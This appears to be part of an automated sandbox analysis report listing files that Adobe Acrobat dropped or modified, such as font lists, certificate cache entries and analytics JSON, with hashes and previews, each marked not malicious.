
Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7425532007658724
Encrypted:	false
SSDEEP:	3:kkFklchKfllXlE/HT8kv37vNNX8RolJuRdxLlGB9lQRYwpDdt:kKFNT8m37VNMa8RdWBwRd
MD5:	966722F3EAFE518495B92E58002F7BB0
SHA1:	34C2129A65877ECF66FF5A12C1CBA259472B6C2B
SHA-256:	D9A427407715348F0EDA28A217B7A2854185B5A3F604766FA1D7FFB2E3895DD9
SHA-512:	D79B24105984A9FEAA4C078C56156417B73CAFA5D5BDF30107CCB0DF25BC2BA313978F466678B843AFD7819C63FA5F4BE274BB848FB90E827A390EDC780087E4
Malicious:	false
Preview:	p...... ........oQ..$Q..(....................................................... ..........W.....z..............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.150184159866505
Encrypted:	false
SSDEEP:	6:kKuCbT9UswDLL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:DbqDnLNkPlE99SNxAhUe/3
MD5:	39FF6D4BCC64A1A13420CF85E7668553
SHA1:	BA2A760E313AB36990EB6747B28E8A6B5973ADF7
SHA-256:	FA412D30A4554DEB1F351A9DC9B826380CD94EABCB7F1B61960B969C0EB4E450
SHA-512:	2EDF857F49BFFEB2FCD62AB82F8925AE7A8D718EEE30E9EE98BEBF398A2011C1F078A11C7DCB5FEE51A718CC08DB260A923BA75EC4E9BACBD21F3B9859E688DA
Malicious:	false
Preview:	p...... .........gC.$Q..(....................................................... ........G..@.......&...............h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.5856

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.5856

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.312847565734726
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFt2V+FY7A/4Ox+FIbRI6XVW7+0YAUUoAvJM3g98kUwPeUkwRe9:YvXKXFVW7M1UYpW7/UnGMbLUkee9
MD5:	B5D15339306B877C48DD77BF60B5AC68
SHA1:	740048C8145F807381D9FCC38A958115BAC89DBD
SHA-256:	C5274F7BC5E8AD189431A560596871FA725D91FFC12270BCBF658C9AEE1AF630
SHA-512:	E6D19153A71BA82770B6B96DF1D10A263377FDE30E66982DCF2DB70996FFBD95878AED4C60059D9DE58C0544E7CAD0C5F49FF6CE3F603FB671C03C1A054EAC07
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2ac62332-ea0f-4f00-8867-ac75bedae226","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1734682860941,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.248599753794346
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFt2V+FY7A/4Ox+FIbRI6XVW7+0YAUUoAvJfBoTfXpnrPeUkwRe9:YvXKXFVW7M1UYpW7/UnGWTfXcUkee9
MD5:	DC9A20EBCAC1FC4F9BA252C4E5E6F210
SHA1:	4178D17BD243D46B8D4D86F4D0ACE8F6F17773BA
SHA-256:	584ED21D0EDFB6833C45376D6C6AC76E529CD5FE7097652732D9034BB53525AD
SHA-512:	1389654713C14814EBF6E882FFE84B2FEE2D1455BB5CC0C2E3E5BD6C0B67AC832E360C7B8FEF50F440587D70D7548C74CB0F770C15EAAC89FA0C0C2F0974243B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2ac62332-ea0f-4f00-8867-ac75bedae226","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1734682860941,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.227420828839944
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFt2V+FY7A/4Ox+FIbRI6XVW7+0YAUUoAvJfBD2G6UpnrPeUkwRe9:YvXKXFVW7M1UYpW7/UnGR22cUkee9
MD5:	4A51D646ED33E38CA193571F2046BED4
SHA1:	C872783720D85918CEE016862F6391EF51B83882
SHA-256:	B09FC34579D8CFFFAE16143409FEEB268D61218B25D50C6D2A85380842859822
SHA-512:	48A2217E7E4C7AA6D023BA35082D94496E638D725EB658935223F1A102CA801F15B6054637CF9A3E2A099B63ABC9973EEFBAED152C2CF0AD37ECEB15E5C9A0B2
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2ac62332-ea0f-4f00-8867-ac75bedae226","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1734682860941,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.289967958455945
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFt2V+FY7A/4Ox+FIbRI6XVW7+0YAUUoAvJfPmwrPeUkwRe9:YvXKXFVW7M1UYpW7/UnGH56Ukee9
MD5:	2CFD650F7C7DF9E14230B9AD469FC673
SHA1:	BD3046AB82F17030367152DCC0B142CE906E67AC
SHA-256:	B9DC3F0D33FA21C33B705670D0AA66201A6EA1192C84AC8054598B4577E95270
SHA-512:	6D8D519BB8E6D5421B8F4CF4BE446CDBC8DE5166A2EA9D898AD24FCC2828F117FB2F2B9D4BAE7E82918DF81C4CCE0F70A3DD5ED4802D882617A7686EC232445D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2ac62332-ea0f-4f00-8867-ac75bedae226","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1734682860941,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.685279316558241
Encrypted:	false
SSDEEP:	24:Yv6X06Fi/UspLgE9cQx8LennAvzBvkn0RCmK8czOCCSG:Yv3cshgy6SAFv5Ah8cv/G
MD5:	17738238D997972D5040D767715CF825
SHA1:	D5B21FDDA277FA0D11BDFA3826BFD5FAC9377002
SHA-256:	16E9D050F9999A51AEE4471F9210ADDBB32AED3260103C2337C071120E8329C2
SHA-512:	550FE8FF4596EE053EE686BAA002E8B9AD1FA915635448846740A9BE1D7F6A51270DC90E624DA6D8595B6AB63310518256491E25F3AE6D2BDA32754DB1AE23CD
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2ac62332-ea0f-4f00-8867-ac75bedae226","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1734682860941,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.233823588730251
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFt2V+FY7A/4Ox+FIbRI6XVW7+0YAUUoAvJf8dPeUkwRe9:YvXKXFVW7M1UYpW7/UnGU8Ukee9
MD5:	AFFD478AFE4B7E302E93984AB3BF69D7
SHA1:	D02C8C5C78E9D5651F0515C23099D062C0B8D025
SHA-256:	7CFD630F2F975894B8968511FE16FEC5CEA4731D6A71D29B723E91AAAEEA3ADB
SHA-512:	90C579F608DB81CA71EA17378F30FF3A7FDEDBD5EB7CFA4A1231338B888C248A3867E78DEFF444E26908B41DA8338C9D90314E5AD3DBAED6920CF652A5E42592
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2ac62332-ea0f-4f00-8867-ac75bedae226","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1734682860941,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.23576768217988
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFt2V+FY7A/4Ox+FIbRI6XVW7+0YAUUoAvJfQ1rPeUkwRe9:YvXKXFVW7M1UYpW7/UnGY16Ukee9
MD5:	6DBF3271FE1776958CA2B006795D77F9
SHA1:	B308E84FEA0AB2824842F403E40F6D347B923201
SHA-256:	A03BD7CD0B0BA3D17198A0D98BE89D16CB02D30944A0074394FB93DA00EDE45C
SHA-512:	58439DBA8D83FE3F11B74009315ADA073F480BA5AB277694DB53D1A4FB6911E6EDA9FC89D3D222BFAB8B9807E5C2A4B8A49D4753C337D5D29DFDAC861CC75D75
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2ac62332-ea0f-4f00-8867-ac75bedae226","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1734682860941,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.255345817660176
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFt2V+FY7A/4Ox+FIbRI6XVW7+0YAUUoAvJfFldPeUkwRe9:YvXKXFVW7M1UYpW7/UnGz8Ukee9
MD5:	49AB6E313046DC0B1E34EBA7280E9297
SHA1:	A58CDF25F40BF0DC7EF19368D58BC3AFBC167436
SHA-256:	DAE37FF20777D6933CC906107045BF79CB31DE0EA3BAA5250893032B428ED8DC
SHA-512:	84BB7D464EDE08805E34537F763F17A0FC07EAD259206A01421EB3024987D57D7B9853755466C9C2440554AB8FDD1CEA903A72E4333CF2C6D988FDEDA5C7D657
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2ac62332-ea0f-4f00-8867-ac75bedae226","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1734682860941,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.261534802941264
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFt2V+FY7A/4Ox+FIbRI6XVW7+0YAUUoAvJfzdPeUkwRe9:YvXKXFVW7M1UYpW7/UnGb8Ukee9
MD5:	8FE527E74B8E1EC7928466BD936225D9
SHA1:	3B6D3EDEC705DEDA317EC9B73AA5A7FEC8A28E03
SHA-256:	B93A08E11DBB8B86C40453E136A204FBDEE382E9CB42B33401F32FD1EF10D662
SHA-512:	4DDE8E42538A831E1C0CAE130512AE0D083E84A25BFC02A55F5C9CB8503B4CDF9BB63B9C7E16096E2B6FD5EC8E0BC78543334D9F7AA053BE6A632A07A45A44AD
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2ac62332-ea0f-4f00-8867-ac75bedae226","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1734682860941,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.241518284503011
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFt2V+FY7A/4Ox+FIbRI6XVW7+0YAUUoAvJfYdPeUkwRe9:YvXKXFVW7M1UYpW7/UnGg8Ukee9
MD5:	992D6B9E5B874BA0940A69A21D6D78F6
SHA1:	A2F26DEE352D078A57AF993527F1FD098AFB9F70
SHA-256:	D783AEF42324674F6642686BA8BF204B3111C29B2E271AD3BC98BE4AA82C634D
SHA-512:	FE92E214555C309EC0F235548640DD53B1BA6A1BBD9CECD6331822F4C0FCA4274669B3214E0D9EDACDA9AB8381CAFB477659E3F930FA691563B90F064270DAC6
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2ac62332-ea0f-4f00-8867-ac75bedae226","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1734682860941,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.227120403279144
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFt2V+FY7A/4Ox+FIbRI6XVW7+0YAUUoAvJf+dPeUkwRe9:YvXKXFVW7M1UYpW7/UnG28Ukee9
MD5:	A054F40C9A7085E7DF73DDA037002458
SHA1:	3BA3A646E46552E456382EB763F0E696C774D009
SHA-256:	3816FC0CEEEB65F4A47923A50E782AF5E1F1F3367FC0761950F3FA0E8FE5B037
SHA-512:	5B63B0BF7DDC3D3B5E2BF519BD6C9B4A78A881BD3909DEDC080D11FE7D535766B64AB2582C292EB4CB87C67446FC5D465EF962B7C7407B0410B189FF381D620B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2ac62332-ea0f-4f00-8867-ac75bedae226","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1734682860941,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.225467318365856
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFt2V+FY7A/4Ox+FIbRI6XVW7+0YAUUoAvJfbPtdPeUkwRe9:YvXKXFVW7M1UYpW7/UnGDV8Ukee9
MD5:	7CFF1DD6F66B96611A2AF7830E10BF15
SHA1:	2837029C621A5FDD4874B7A3C8D6180EFAA5CBD0
SHA-256:	FCF598596C063D02F71681F5352939784BE8C61012DA5431394CF527ECFEAB77
SHA-512:	15EEE25C694E6F9497F5884573727E3CECF1FD703E39D696F51CDDB6185BFAF16C7EBCA36095E454EEAC5BC7A719D6EBBE79F29BFE4BD089143D40002A9D3B4E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2ac62332-ea0f-4f00-8867-ac75bedae226","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1734682860941,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.22690634012649
Encrypted:	false
